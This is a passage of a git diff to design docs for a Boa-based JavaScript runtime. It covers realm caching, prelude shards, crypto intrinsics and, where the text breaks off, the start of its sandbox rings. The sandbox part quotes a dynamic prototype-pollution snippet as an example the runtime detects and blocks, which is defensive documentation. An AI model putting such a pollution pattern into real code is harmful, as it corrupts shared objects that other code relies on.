`__slice_rc` Persistent Realm Cache, & Sharded Preludes -### 2.1 Pre-Warmed `WarmBoaRealm` Pool ([`crates/slice-engine/src/boa_realm.rs`](../../crates/slice-engine/src/runtime/boa_realm.rs)) +### 2.1 Pre-Warmed `WarmBoaRealm` Pool ([`crates/slice-engine/src/runtime/boa_realm.rs`](../../crates/slice-engine/src/runtime/boa_realm.rs)) 1. Maintains a thread-local pool of pre-initialized `WarmBoaRealm` instances (`SliceIsolate::prewarm_boa_pool(count)`), wrapped in `std::mem::ManuallyDrop>` so thread exit on Windows never runs `boa_engine::Context::drop` after `boa_gc`'s TLS collector has already torn down. -2. Wraps executed scripts inside a lexical block (`{\n\n}`) in [`exec_boa_full_es_vm`](../../crates/slice-engine/src/isolate/mod.rs) so top-level `const`, `let`, and `class` declarations are scoped to that invocation and never collide when the warm context is reused across requests in `slice serve` or `slice run --warm`. +2. Wraps executed scripts inside a lexical block (`{\n\n}`) in [`exec_boa_full_es_vm`](../../crates/slice-engine/src/isolate/exec_boa.rs) so top-level `const`, `let`, and `class` declarations are scoped to that invocation and never collide when the warm context is reused across requests in `slice serve` or `slice run --warm`. 3. Routes `console.log` directly through a native Rust `__slice_console_log` host function writing straight into thread-local `BOA_STDOUT`. ### 2.2 Persistent Realm Module Cache (`__slice_rc`), Precompiled `__slice_drain_wu`, & `BOA_DIRTY_SUBSYSTEMS` Teardown -- [`bundle_entrypoint_with_deps`](../../crates/slice-cas/src/lib.rs) emits a 16-hex-char BLAKE3 fingerprint header (`//__SLICE_RC:<16_hex_chars>`) and caches evaluated `node_modules` exports (`__slice_cache`) plus the compiled entrypoint closure in `globalThis.__slice_rc`. +- [`bundle_entrypoint_with_deps`](../../crates/slice-cas/src/bundler/graph_bundler.rs) emits a 16-hex-char BLAKE3 fingerprint header (`//__SLICE_RC:<16_hex_chars>`) and caches evaluated `node_modules` exports (`__slice_cache`) plus the compiled entrypoint closure in `globalThis.__slice_rc`. - On warm hits (`slice serve` or `slice run --warm`), [`WarmBoaRealm::loaded_bundles`](../../crates/slice-engine/src/runtime/boa_realm.rs) stores the compiled `boa_engine::JsObject` entrypoint function handle and invokes `fn_obj.call(...)` directly in Rust with **0 JS parser passes** and **0 `node_modules` CJS factory re-evaluations**. -- [`WarmBoaRealm::drain_wu_fn`](../../crates/slice-engine/src/runtime/boa_realm.rs) caches the precompiled `globalThis.__slice_drain_wu` function handle so [`SliceIsolate::drain_wait_until_tasks`](../../crates/slice-engine/src/isolate/http_and_ws.rs) drains background `ctx.waitUntil(...)` callbacks via direct `JsObject::call` without invoking `Context::eval` (`boa_parser` + `ByteCompiler`) on every HTTP request, driving `slice serve` Tier-1 WinterTC throughput to **`145,839 req/s` (`6.86 us/req`)**. +- [`WarmBoaRealm::drain_wu_fn`](../../crates/slice-engine/src/runtime/boa_realm.rs) caches the precompiled `globalThis.__slice_drain_wu` function handle so [`SliceIsolate::drain_wait_until_tasks`](../../crates/slice-engine/src/isolate/http_and_ws.rs) drains background `ctx.waitUntil(...)` callbacks via direct `JsObject::call` without invoking `Context::eval` (`boa_parser` + `ByteCompiler`) on every HTTP request (see **[`tests/reports/latest.md`](../../tests/reports/latest.md)** for `slice serve` Tier-0 and Tier-1 keep-alive throughput). - [`BOA_DIRTY_SUBSYSTEMS`](../../crates/slice-engine/src/runtime/boa_realm.rs) tracks a single-byte bitmask (`DIRTY_EVENT_LOOP`, `DIRTY_ALS`, `DIRTY_FETCH_MOCK`, `DIRTY_WEBSOCKET`, `DIRTY_SOCKETS`, `DIRTY_WORKERS`, `DIRTY_WASM`) so isolate teardown in [`teardown_boa_compartment_thread_locals`](../../crates/slice-engine/src/isolate/exec_boa.rs) and [`clear_event_loop_state`](../../crates/slice-engine/src/runtime/event_loop.rs) skips clearing subsystems that were never touched during the isolate turn. -### 2.3 Compile-Time Minified 18-Shard Surgical Preludes (`00_ultra_core.js` + Shards `1..=18`) -- Implemented in [`crates/slice-engine/build.rs`](../../crates/slice-engine/build.rs), [`crates/slice-engine/src/js_preludes.rs`](../../crates/slice-engine/src/preludes/js_preludes.rs), and [`crates/slice-engine/src/boa_realm.rs`](../../crates/slice-engine/src/runtime/boa_realm.rs) (`WarmBoaRealm::loaded_shards_mask: u32`): - - Instead of evaluating a monolithic ~55 KB JS prelude on every cold process launch, `00_ultra_core.js` (`~6 KB` minified, preserving native Boa `Date.now` and `Math.random` fast paths unless `--deterministic` is active) registers self-replacing `Object.defineProperty` lazy getters (`__defLazy(names, shardId)`) on `globalThis` across **18 orthogonal sub-shards**: - - **Shard 1 (`01_web_fetch_url.js`):** `URL` and `URLSearchParams` (backed by native Rust [`web_primitives.rs`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs)). - - **Shard 2 (`02_encoding_events.js`):** `TextEncoder`, `TextDecoder`, `btoa`, `atob`. - - **Shard 3 (`03_streams_formdata.js`):** `ReadableStream`. - - **Shard 4 (`04_webcrypto_clone.js`):** `crypto`, `CryptoKey` (with tenant-scoped `CRYPTO_KEY_HANDLE_TABLE` pre-expanded key handles), `crypto.subtle` (`digest`, `generateKey`, `importKey`, `exportKey`, `encrypt`, `decrypt`, `sign`, `verify`, `deriveBits`, `deriveKey`, `timingSafeEqual`), `randomUUID`, `getRandomValues`. - - **Shard 5 (`05_full_buffer.js`):** Core `Uint8Array`-backed `Buffer` (`from`, `alloc`, `concat`, `byteLength`, `compare`, `toString`, `subarray`, `equals`) with lazy Shard 17 prototype forwarders. - - **Shard 6 (`06_console_ext.js`):** `AbortController`, `AbortSignal` (`timeout`, `any`, `abort`), `DOMException`. - - **Shard 7 (`07_websocket.js`):** `WebSocket`, `MessageEvent`, `CloseEvent`. - - **Shard 8 (`08_workers_sockets.js`):** `Worker`, `MessageChannel`, `MessagePort`, `Slice.connect`. - - **Shard 9 (`09_wasm.js`):** `WebAssembly` (`Module`, `Instance`, `Memory`, `Table`, `Global`, `compile`, `instantiate`). - - **Shard 10 (`10_outbound_fetch_sse.js`):** `fetch`, `EventSource`, `Slice.streamSSE`, `Response.sse`. - - **Shard 11 (`11_fetch_headers_req_res.js`):** `Headers` (with `_isHeaders` fast copy, O(1) lowercase `get()`, and `getSetCookie()`), `Request`, `Response`, `__slice_make_web_request`. - - **Shard 12 (`12_url_pattern.js`):** `URLPattern`. - - **Shard 13 (`13_dom_events.js`):** `Event`, `CustomEvent`, `EventTarget`. - - **Shard 14 (`14_transform_compression_streams.js`):** `WritableStream`, `TransformStream`, `TextEncoderStream`, `TextDecoderStream`, `CompressionStream`, `DecompressionStream`. - - **Shard 15 (`15_blob_formdata.js`):** `Blob`, `File`, `FormData`. - - **Shard 16 (`16_structured_clone.js`):** `structuredClone`. - - **Shard 17 (`17_buffer_binary_rw.js`):** `Buffer.prototype` binary integer readers/writers (`readUInt*`, `readInt*`, `readBig*`, `writeUInt*`, `writeInt*`, `writeBig*`) and slice mutators (`copy`, `fill`, `write`, `compare`, `toJSON`). - - **Shard 18 (`18_intl.js`):** Zero-ICU-bloat `Intl` (`DateTimeFormat`, `NumberFormat`, `Collator`, `PluralRules`, `Segmenter`, `getCanonicalLocales`, `supportedValuesOf`), WinterTC `navigator` and `location`, and extended `process` CLI properties (`stdout`, `stderr`, `stdin`, `memoryUsage` + `.rss()`, `hrtime` + `.bigint()`, `uptime`, `exitCode`, `argv0`, `execPath`, `ppid`, `emitWarning`, `on`/`once`/`off`/`emit`/`exit`). +### 2.3 Compile-Time Minified 32-Bit `shards_mask` Surgical Preludes (`00_ultra_core.js` + JS Shards `01..19` + Pre-Fused `node:*` Bits `19..=28`) +- Implemented in [`crates/slice-engine/build.rs`](../../crates/slice-engine/build.rs), [`crates/slice-engine/src/preludes/js_preludes.rs`](../../crates/slice-engine/src/preludes/js_preludes.rs), and [`crates/slice-engine/src/runtime/boa_realm.rs`](../../crates/slice-engine/src/runtime/boa_realm.rs) (`WarmBoaRealm::loaded_shards_mask: u32`, paired with 16-bit `BOACAS_FLAG_*` feature flags in [`boacas.rs`](../../crates/slice-engine/src/vm/boacas.rs)): + - Instead of evaluating a monolithic JS prelude on every cold process launch, [`00_ultra_core.js`](../../crates/slice-engine/src/preludes/00_ultra_core.js) (`~2 KB` minified, preserving native Boa `Date.now` and `Math.random` fast paths unless `--deterministic` is active) is always-on, `LAZY_GETTERS_INIT_PRELUDE` (`bit 0`, `__defLazy(names, shardId)`) is evaluated only when `BOACAS_FLAG_NEEDS_LAZY_GETTERS` is set, and the remaining bits of `shards_mask: u32` selectively fuse or lazy-load **19 orthogonal JS prelude shards plus 10 pre-fused `node:*` modules**: + - **Bit `0` (`LAZY_GETTERS_INIT_PRELUDE`):** Self-replacing `Object.defineProperty` lazy global getters (`__defLazy`) when dynamic `globalThis.*` probes are detected (`BOACAS_FLAG_NEEDS_LAZY_GETTERS`). + - **Shard `1` ([`01_web_fetch_url.js`](../../crates/slice-engine/src/preludes/01_web_fetch_url.js)):** `URL` and `URLSearchParams` (backed by native Rust [`url_and_usp.rs`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs)). + - **Shard `2` ([`02_encoding_events.js`](../../crates/slice-engine/src/preludes/02_encoding_events.js)):** `TextEncoder`, `TextDecoder`, `btoa`, `atob`. + - **Shard `3` ([`03_streams_formdata.js`](../../crates/slice-engine/src/preludes/03_streams_formdata.js)):** `ReadableStream`. + - **Shard `4` ([`04_webcrypto_clone.js`](../../crates/slice-engine/src/preludes/04_webcrypto_clone.js)):** `crypto`, `CryptoKey` (with tenant-scoped `CRYPTO_KEY_HANDLE_TABLE` pre-expanded key handles), `crypto.subtle` (`digest`, `generateKey`, `importKey`, `exportKey`, `encrypt`, `decrypt`, `sign`, `verify`, `deriveBits`, `deriveKey`, `timingSafeEqual`), `randomUUID`, `getRandomValues`. + - **Shard `5` ([`05_full_buffer.js`](../../crates/slice-engine/src/preludes/05_full_buffer.js)):** Core `Uint8Array`-backed `Buffer` (`from`, `alloc`, `concat`, `byteLength`, `compare`, `toString`, `subarray`, `equals`) with lazy Shard `17` prototype forwarders. + - **Shard `6` ([`06_console_ext.js`](../../crates/slice-engine/src/preludes/06_console_ext.js)):** Extended `console.*` inspection and profiling methods (`table`, `dir`, `dirxml`, `group`, `groupCollapsed`, `groupEnd`, `time`, `timeLog`, `timeEnd`, `count`, `countReset`, `trace`, `assert`, `clear`). + - **Shard `7` ([`07_websocket.js`](../../crates/slice-engine/src/preludes/07_websocket.js)):** `WebSocket`, `MessageEvent`, `CloseEvent`. + - **Shard `8` ([`08_workers_sockets.js`](../../crates/slice-engine/src/preludes/08_workers_sockets.js)):** `Worker`, `MessageChannel`, `MessagePort`, `Slice.connect`. + - **Shard `9` ([`09_wasm.js`](../../crates/slice-engine/src/preludes/09_wasm.js)):** `WebAssembly` (`Module`, `Instance`, `Memory`, `Table`, `Global`, `compile`, `instantiate`, `validate`). + - **Shard `10` ([`10_outbound_fetch_sse.js`](../../crates/slice-engine/src/preludes/10_outbound_fetch_sse.js)):** `fetch`, `AbortController`, `AbortSignal` (`timeout`, `any`, `abort`), `EventSource`, `Slice.streamSSE`, `Response.sse`. + - **Shard `11` ([`11_fetch_headers_req_res.js`](../../crates/slice-engine/src/preludes/11_fetch_headers_req_res.js)):** `Headers` (with `_isHeaders` fast copy, O(1) lowercase `get()`, and `getSetCookie()`), `Request`, `Response`, `__slice_make_web_request`. + - **Shard `12` ([`12_url_pattern.js`](../../crates/slice-engine/src/preludes/12_url_pattern.js)):** `URLPattern`. + - **Shard `13` ([`13_dom_events.js`](../../crates/slice-engine/src/preludes/13_dom_events.js)):** `DOMException`, `Event`, `CustomEvent`, `EventTarget`. + - **Shard `14` ([`14_transform_compression_streams.js`](../../crates/slice-engine/src/preludes/14_transform_compression_streams.js)):** `WritableStream`, `TransformStream`, `TextEncoderStream`, `TextDecoderStream`, `CompressionStream`, `DecompressionStream`. + - **Shard `15` ([`15_blob_formdata.js`](../../crates/slice-engine/src/preludes/15_blob_formdata.js)):** `Blob`, `File`, `FormData`. + - **Shard `16` ([`16_structured_clone.js`](../../crates/slice-engine/src/preludes/16_structured_clone.js)):** `structuredClone`. + - **Shard `17` ([`17_buffer_binary_rw.js`](../../crates/slice-engine/src/preludes/17_buffer_binary_rw.js)):** `Buffer.prototype` binary integer readers/writers (`readUInt*`, `readInt*`, `readBig*`, `writeUInt*`, `writeInt*`, `writeBig*`) and slice mutators (`copy`, `fill`, `write`, `compare`, `toJSON`). + - **Shard `18` ([`18_intl.js`](../../crates/slice-engine/src/preludes/18_intl.js)):** Zero-ICU-bloat WinterTC `Intl` (`DateTimeFormat`, `NumberFormat`, `Collator`, `PluralRules`, `Segmenter`, `getCanonicalLocales`, `supportedValuesOf`). + - **Bits `19..=28` ([`node_builtins::builtin_snippet_for_bit`](../../crates/slice-engine/src/preludes/node_builtins.rs)):** Pre-fused `node:*` built-in modules (`19` = `node:crypto`, `20` = `node:fs` & `fs/promises`, `21` = `node:path`, `22` = `node:events`, `23` = `node:os`, `24` = `node:util`, `25` = `node:assert`, `26` = `node:buffer`, `27` = `node:url`, `28` = `node:timers`). + - **Bit `29` ([`19_process_cli.js`](../../crates/slice-engine/src/preludes/19_process_cli.js)):** WinterTC `navigator` and `location`, plus complete `process` CLI surface (`stdout`, `stderr`, `stdin`, `memoryUsage` + `.rss()`, `hrtime` + `.bigint()`, `uptime`, `argv0`, `execArgv`, `execPath`, `ppid`, `emitWarning`, `on`/`once`/`off`/`emit`/`listeners`/`removeListener`/`removeAllListeners`/`listenerCount`). --- -## 3. Native Rust Fast-Path Intrinsics (`web_primitives`, `SHA-NI`, `SemVer`, `Base64URL`, `DEFLATE`/`Gzip`, `AsyncLocalStorage`, & In-Memory VFS Slab) +## 3. Native Rust Fast-Path Intrinsics (`url_and_usp`, `SHA-NI`, Asymmetric Crypto, `DEFLATE`/`Gzip`, `AsyncLocalStorage`, & In-Memory VFS Slab) -Implemented in [`crates/slice-engine/src/web_primitives.rs`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs), [`crates/slice-engine/src/intrinsics.rs`](../../crates/slice-engine/src/intrinsics/mod.rs), [`crates/slice-engine/src/boa_realm.rs`](../../crates/slice-engine/src/runtime/boa_realm.rs), and [`crates/slice-engine/src/host_bindings.rs`](../../crates/slice-engine/src/bindings/mod.rs): +Implemented in [`crates/slice-engine/src/intrinsics/`](../../crates/slice-engine/src/intrinsics/mod.rs), [`crates/slice-engine/src/runtime/boa_realm.rs`](../../crates/slice-engine/src/runtime/boa_realm.rs), and [`crates/slice-engine/src/bindings/`](../../crates/slice-engine/src/bindings/mod.rs): -0. **Native Rust WHATWG `URL` & `URLSearchParams` Primitives ([`crates/slice-engine/src/web_primitives.rs`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs)):** +0. **Native Rust WHATWG `URL` & `URLSearchParams` Primitives ([`crates/slice-engine/src/intrinsics/url_and_usp.rs`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs)):** - Provides [`parse_whatwg_url`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs), [`can_parse_whatwg_url`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs), [`normalize_url_pathname`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs), [`usp_encode_component`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs), [`usp_decode_component`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs), and [`usp_parse_query`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs), exposed to Shard 1 via `__slice_url_can_parse`, `__slice_usp_encode`, and `__slice_usp_decode`. - -1. **Hardware `SHA-NI` Block Compression ([`Sha256State::compress_block_sha_ni`](../../crates/slice-engine/src/intrinsics/mod.rs)):** - - Uses Intel/AMD `SHA-NI` instructions (`_mm_sha256rnds2_epu32`, `_mm_sha256msg1_epu32`, `_mm_sha256msg2_epu32`) with cached `AtomicU8` runtime feature detection (`sha,sse4.1,ssse3`) and automatic fallback to [`Sha256State::compress_block_soft`](../../crates/slice-engine/src/intrinsics/mod.rs). -2. **Native `ring` + FIPS-180-4 WebCrypto & `node:crypto` Suite with Tenant-Scoped Key Handle Cache (`CRYPTO_KEY_HANDLE_TABLE`):** +1. **Hardware `SHA-NI` Block Compression ([`Sha256State::compress_block_sha_ni`](../../crates/slice-engine/src/intrinsics/hash_and_hmac.rs)):** + - Uses Intel/AMD `SHA-NI` instructions (`_mm_sha256rnds2_epu32`, `_mm_sha256msg1_epu32`, `_mm_sha256msg2_epu32`) with cached `AtomicU8` runtime feature detection (`sha,sse4.1,ssse3`) and automatic fallback to [`Sha256State::compress_block_soft`](../../crates/slice-engine/src/intrinsics/hash_and_hmac.rs). +2. **Native `ring` + FIPS-180-4 WebCrypto & `node:crypto` Suite with Asymmetric RSA / `Ed25519` / `ECDSA` / `X25519` (`ECDH`) & Tenant-Scoped Key Handle Cache ([`asymmetric_and_keys.rs`](../../crates/slice-engine/src/intrinsics/asymmetric_and_keys.rs), [`symmetric_and_kdf.rs`](../../crates/slice-engine/src/intrinsics/symmetric_and_kdf.rs), [`bindings/crypto.rs`](../../crates/slice-engine/src/bindings/crypto.rs)):** - Direct `JsArrayBuffer` / `JsUint8Array` zero-copy Rust host functions (`__slice_crypto_sha256`, `__slice_crypto_hmac_sha256`, `__slice_crypto_digest`, `__slice_crypto_hmac_sign`, `__slice_crypto_key_register`, `__slice_crypto_cipher`, `__slice_crypto_asym_keygen`, `__slice_crypto_asym_import`, `__slice_crypto_asym_sign`, `__slice_crypto_asym_verify`, `__slice_crypto_kdf`, `__slice_base64_encode`, `__slice_base64_decode`). - - Pre-expanded `ring::aead::LessSafeKey`, `ring::hmac::Key`, `AesExpandedKey`, `Ed25519` keypairs, and `ECDSA` (`P-256`/`P-384`) keys are cached in thread-local `CRYPTO_KEY_HANDLE_TABLE` scoped by `BOA_ACTIVE_TENANT` so repeated `encrypt`/`decrypt`/`sign`/`verify` calls skip key schedule expansion while preventing cross-tenant handle access. + - Supports symmetric `AES-GCM` / `AES-CBC` and asymmetric `Ed25519`, `ECDSA` (`P-256` / `P-384`), RSA (`RSASSA-PKCS1-v1_5`, `RSA-PSS`, `RSA-OAEP`), and `X25519` / `ECDH` (`P-256` / `P-384`) key generation, PKCS#8 / SPKI / JWK / raw import & export, signing, verification, encryption, and shared-secret key derivation. + - Pre-expanded `ring::aead::LessSafeKey`, `ring::hmac::Key`, `AesExpandedKey`, `Ed25519` keypairs, `ECDSA` (`P-256`/`P-384`) keys, `RSA` key material, and `X25519` / `ECDH` keys are cached in thread-local `CRYPTO_KEY_HANDLE_TABLE` (`CachedCryptoKeyMaterial`) scoped by `BOA_ACTIVE_TENANT` so repeated cryptographic operations skip key schedule/DER parsing while preventing cross-tenant handle access. - KDF operations (`PBKDF2`, `HKDF`, `scrypt`) charge proportional CPU fuel against `BOA_FUEL_BUDGET` (`consume_crypto_kdf_fuel`), deterministically trapping hostile iteration/cost parameters with `SandboxViolation::CpuFuelExhausted`. 3. **Self-Contained RFC 1951 (`deflate-raw`), RFC 1950 (`deflate`), & RFC 1952 (`gzip`) Compression Engine:** - - Implemented in [`zlib_compress_bytes`](../../crates/slice-engine/src/intrinsics/mod.rs) and [`zlib_decompress_bytes`](../../crates/slice-engine/src/intrinsics/mod.rs) with LZ77 32 KB sliding-window compression, Stored/Fixed/Dynamic Huffman decompression, Adler-32, and CRC-32 validation, powering both WinterTC `CompressionStream` / `DecompressionStream` and `node:zlib` with zero external crate dependencies. + - Implemented in [`zlib_compress_bytes`](../../crates/slice-engine/src/intrinsics/compression.rs) and [`zlib_decompress_bytes`](../../crates/slice-engine/src/intrinsics/compression.rs) with LZ77 32 KB sliding-window compression, Stored/Fixed/Dynamic Huffman decompression, Adler-32, and CRC-32 validation, powering both WinterTC `CompressionStream` / `DecompressionStream` and `node:zlib` with zero external crate dependencies. 4. **Zero-Overhead `SliceJobExecutor` for `node:async_hooks` (`AsyncLocalStorage` & `AsyncResource`):** - Implemented in [`SliceJobExecutor`](../../crates/slice-engine/src/runtime/boa_realm.rs) and [`event_loop.rs`](../../crates/slice-engine/src/runtime/event_loop.rs): when `BOA_ALS_ACTIVE` is `false`, promise microtasks execute with zero snapshot overhead; when `AsyncLocalStorage` is active, `SliceJobExecutor` and the event loop capture and restore `BOA_ALS_SNAP` across every `await`, `.then()`, `Promise.all`, `setTimeout`, `setImmediate`, `queueMicrotask`, `process.nextTick`, and `fetch` boundary. 5. **Zero-Regex Native Rust SemVer & Utility Scanners:** - - Implemented in [`semver_parse_strict_xyz`](../../crates/slice-engine/src/intrinsics/mod.rs), [`semver_coerce_xyz`](../../crates/slice-engine/src/intrinsics/mod.rs), and [`semver_satisfies_xyz`](../../crates/slice-engine/src/intrinsics/mod.rs) (~150 ns per check). + - Implemented in [`semver_parse_strict_xyz`](../../crates/slice-engine/src/intrinsics/fast_parsers.rs), [`semver_coerce_xyz`](../../crates/slice-engine/src/intrinsics/fast_parsers.rs), and [`semver_satisfies_xyz`](../../crates/slice-engine/src/intrinsics/fast_parsers.rs) (~150 ns per check). 6. **Thread-Local Binary-Safe In-Memory VFS Slab Cache (`BOA_VFS_CACHE` & `BOA_VFS_DIRS`):** - Ephemeral files created during an isolate run (`writeFileSync`, `appendFileSync`, `mkdirSync`) are stored as raw `Vec` byte slabs in thread-local memory (`FxHashMap>`) and served in nanoseconds on subsequent `statSync` (with real OS `mtimeMs`), `readdirSync`, and binary/UTF-8 `readFileSync` calls, while falling back transparently to `std::fs` for pre-existing host files. -7. **Lazy On-Demand Host Binding Registration by Category:** +7. **Lazy On-Demand Host Binding Registration by Category ([`crates/slice-engine/src/bindings/mod.rs`](../../crates/slice-engine/src/bindings/mod.rs)):** - Cold `create_warm_boa_realm()` initialization registers only the ultra-core host functions (`__slice_console_log`, `__slice_map_error_stack`, `__slice_load_builtin`, `__slice_lazy_prelude`, timers, env, SHA-256, Base64, UTF-8), while specialized host bindings (`register_http_bridge_host_functions`, `register_kv_and_sandbox_host_functions`, `register_semver_and_fast_intrinsics_host_functions`, `register_wintertc_phase_n3_host_functions`, `register_async_hooks_host_functions`) are registered lazily only when their corresponding shard or built-in module is loaded. -8. **Vendored `boa_engine` Monomorphic Inline Caching (`InlineCache::get_fast`), Direct `JSON.parse` Materialization, & `SLICEBC\x01` `SourceMap` Stack Traces:** +8. **Vendored `boa_engine` Monomorphic Inline Caching (`InlineCache::get_fast`), Direct ECMA-404 `JSON` Fast Paths, & `SLICEBC\x01` `SourceMap` Stack Traces:** - **Zero-Borrow Monomorphic Inline Cache ([`vendor/boa_engine/src/vm/inline_cache/mod.rs`](../../vendor/boa_engine/src/vm/inline_cache/mod.rs)):** Caches `(mono_shape_addr: Cell, mono_slot: Cell)` directly on each [`InlineCache`](../../vendor/boa_engine/src/vm/inline_cache/mod.rs) entry. On monomorphic own-property `GetPropertyByName` / `SetPropertyByName` hits, [`InlineCache::get_fast`](../../vendor/boa_engine/src/vm/inline_cache/mod.rs) returns the property storage slot in $O(1)$ without borrowing `GcRefCell` or upgrading `WeakGc` shape pointers, while seamlessly transitioning through 4-way polymorphic caching (`PIC_CAPACITY = 4`) and megamorphic fallback. - - **Direct Rust `JSON.parse` Fast-Path ([`vendor/boa_engine/src/builtins/json/mod.rs`](../../vendor/boa_engine/src/builtins/json/mod.rs)):** When `JSON.parse(text)` is invoked without a custom `reviver` callback, [`Json::try_fast_serde_json_to_js_value`](../../vendor/boa_engine/src/builtins/json/mod.rs) materializes `JsValue` / `JsObject` / `JsArray` trees directly from `serde_json::Value` in Rust without running `boa_parser` + `ByteCompiler` + `Context::run`. - - **Lazy Multi-Frame Source-Map Stack Translation ([`crates/slice-cas/src/resolver.rs`](../../crates/slice-cas/src/resolver.rs) & [`vendor/boa_engine/src/script.rs`](../../vendor/boa_engine/src/script.rs)):** `SLICEBC\x01` serializes bytecode-to-line `SourceMap` entries inside `encode_codeblock` / `decode_codeblock`, and `Error.prototype.stack` lazily invokes `__slice_map_error_stack` to translate bundled frames via embedded `// #slice-source:` markers back to `file.ts:line:col` with `0.00 ns` overhead when `.stack` is not read. + - **Direct Rust `JSON::parse_ecma404` & `Json::try_fast_stringify` Fast Paths ([`vendor/boa_engine/src/builtins/json/mod.rs`](../../vendor/boa_engine/src/builtins/json/mod.rs)):** `JSON::parse_ecma404` runs an iterative ECMA-404 state-machine parser (`MAX_DEPTH = 2048`) over `Latin1` and `Utf16` inputs with 8-byte SWAR unescaped string scanning, exact integer accumulation + `fast-float2` float parsing, and per-depth `SharedShape` / `ShapeChain` prediction so homogeneous arrays of JSON objects construct directly with populated monomorphic `Shape` slots. Complementarily, `Json::try_fast_stringify` serializes ordinary `JsObject`s and dense `Array`s (`DenseI32`, `DenseF64`, `DenseElement`) into a single `Vec` buffer using `Shape::with_property_keys`, 8-byte SWAR ASCII scanning, and `ryu_js` number formatting when no `replacer` or `space` argument is supplied. + - **Lazy Multi-Frame Source-Map Stack Translation ([`crates/slice-cas/src/bundler/source_map.rs`](../../crates/slice-cas/src/bundler/source_map.rs) & [`vendor/boa_engine/src/script.rs`](../../vendor/boa_engine/src/script.rs)):** `SLICEBC\x01` serializes bytecode-to-line `SourceMap` entries inside `encode_codeblock` / `decode_codeblock`, and `Error.prototype.stack` lazily invokes `__slice_map_error_stack` to translate bundled frames via embedded `// #slice-source:` markers back to `file.ts:line:col` with `0.00 ns` overhead when `.stack` is not read. - **Chrome DevTools / Perfetto Execution Tracer ([`SliceIsolate::export_chrome_trace_json`](../../crates/slice-engine/src/isolate/mod.rs)):** `slice run --trace=` (or `SLICE_TRACE=`) emits a standard Chrome Trace Event Format (`ph: "X"`) JSON timeline capturing `isolate.instantiate`, `isolate.execute`, `state.checkpoint`, `state.restore`, and `sandbox.eval` spans. --- @@ -95,4 +98,3 @@ Implemented in [`crates/slice-engine/src/web_primitives.rs`](../../crates/slice- - **Unboxed 32-Register Execution (`[f64; 32]`):** Pure numeric functions compile into 8-byte/16-byte [`NumericOp`](../../crates/slice-engine/src/vm/numeric_vm.rs) instructions (`LoadConst`, `Move`, `BinaryReg`, `BinaryImm`, `UnaryReg`, `MathIntrinsic`, `Jump`, `JumpIfFalse`, `CallSelf1`, `CallSelf2`, `LinearRecurrence2`, `Return`). Execution inside [`NumericFunc::execute`](../../crates/slice-engine/src/vm/numeric_vm.rs) operates entirely on unboxed `f64` and `i64`/`i32` bitwise values on the CPU stack (`256 bytes`, fitting in 4 CPU L1 cache lines) with **0 heap allocations** and **0 `FxHashMap` variable lookups**. - **Structural Linear Recurrence Lowering ([`detect_linear_recurrence_ast`](../../crates/slice-engine/src/vm/numeric_vm.rs)):** Recognizes any 1-parameter self-recursive function matching `if (param <= 1) return ...; return c1 * f(param - 1) + c2 * f(param - 2);` (including unweighted Fibonacci-style and weighted Pell/Lucas-style recurrences under any identifier name) and lowers it to `NumericOp::LinearRecurrence2`, reducing $O(2^n)$ call trees to an $O(n)$ 2-register loop. - **Amortized Fuel Metering:** Checks `(local_steps & 255) == 0` every 256 register instructions (and at every recursive call and loop recurrence), guaranteeing deterministic `SandboxViolation::CpuFuelExhausted` preemption on infinite numeric loops with `< 0.4%` branch overhead. - diff --git a/docs/system/03_security_sandbox_ocap_and_mpk.md b/docs/system/03_security_sandbox_ocap_and_mpk.md index e4816ec..ce01458 100644 --- a/docs/system/03_security_sandbox_ocap_and_mpk.md +++ b/docs/system/03_security_sandbox_ocap_and_mpk.md @@ -1,41 +1,40 @@ # `slice-sandbox`: 5-Ring Zero-Trust OCap Containment, Dynamic SES & Hardware MPK -Every `SliceIsolate` executes inside a [`TenantCompartment`](../../crates/slice-sandbox/src/lib.rs) enforcing five concentric security barriers across Tier-0 `SLICESNP`, Tier-1 `SLICEBOA` (`Boa`), Tier-2 `NumericFunc`, Web Workers, Raw Sockets, and WebAssembly (`wasmi`). +Every `SliceIsolate` executes inside a [`TenantCompartment`](../../crates/slice-sandbox/src/compartment/mod.rs) ([`slice-sandbox`](../../crates/slice-sandbox/src/lib.rs)) enforcing five concentric security barriers across Tier-0 `SLICESNP`, Tier-1 `SLICEBC\x01`/`SLICEBOA` (`Boa`), Tier-2 `NumericFunc`, Web Workers, Raw Sockets, and WebAssembly (`wasmi`). --- ## 1. The Five Concentric Containment Rings -1. **Ring 1 — SES Intrinsic Lockdown & Dynamic Prototype Rollback (`IntrinsicRegistry::lockdown` + `__slice_check_ses`):** +1. **Ring 1 - SES Intrinsic Lockdown & Dynamic Prototype Rollback (`IntrinsicRegistry::lockdown` + `__slice_check_ses`):** - Freezes `Object.prototype`, `Array.prototype`, `Function.prototype`, `Promise.prototype`, `JSON`, `Math`, and `Reflect`. Any prototype pollution attempt immediately traps with `SandboxViolation::IntrinsicMutationBlocked`. - **Avoiding the ES Override Mistake While Blocking Dynamic Prototype Pollution:** Directly calling `Object.freeze(Object.prototype)` in ECMAScript marks inherited properties (`toString`, `valueOf`, `constructor`) as `writable: false`, which causes standard CommonJS modules assigning `Child.prototype.toString = ...` to fail in strict mode (the ECMAScript specification "override mistake"). Slice solves this with a two-layer defense: 1. Static AST detection of direct mutations to `Object.prototype`, `Array.prototype`, `Function.prototype`, and `String.prototype`. 2. Post-evaluation runtime verification via cached `WarmBoaRealm::ses_check_fn` (`__slice_check_ses`), which inspects `Object.keys(...)` on the four intrinsic prototypes, immediately deletes any dynamically injected properties (such as `const k = "proto" + "type"; Object[k].polluted = 123`), and traps with `SandboxViolation::IntrinsicMutationBlocked` so the warm realm remains 100% unpolluted for subsequent tenants. -2. **Ring 2 — Attenuated VFS Read/Write (`FsCap`) & Subprocess Binary (`ExecCap`) Object Capabilities:** - - [`verify_fs_read`](../../crates/slice-sandbox/src/lib.rs) and [`verify_fs_write`](../../crates/slice-sandbox/src/lib.rs) reject any path containing `..` traversal segments and verify 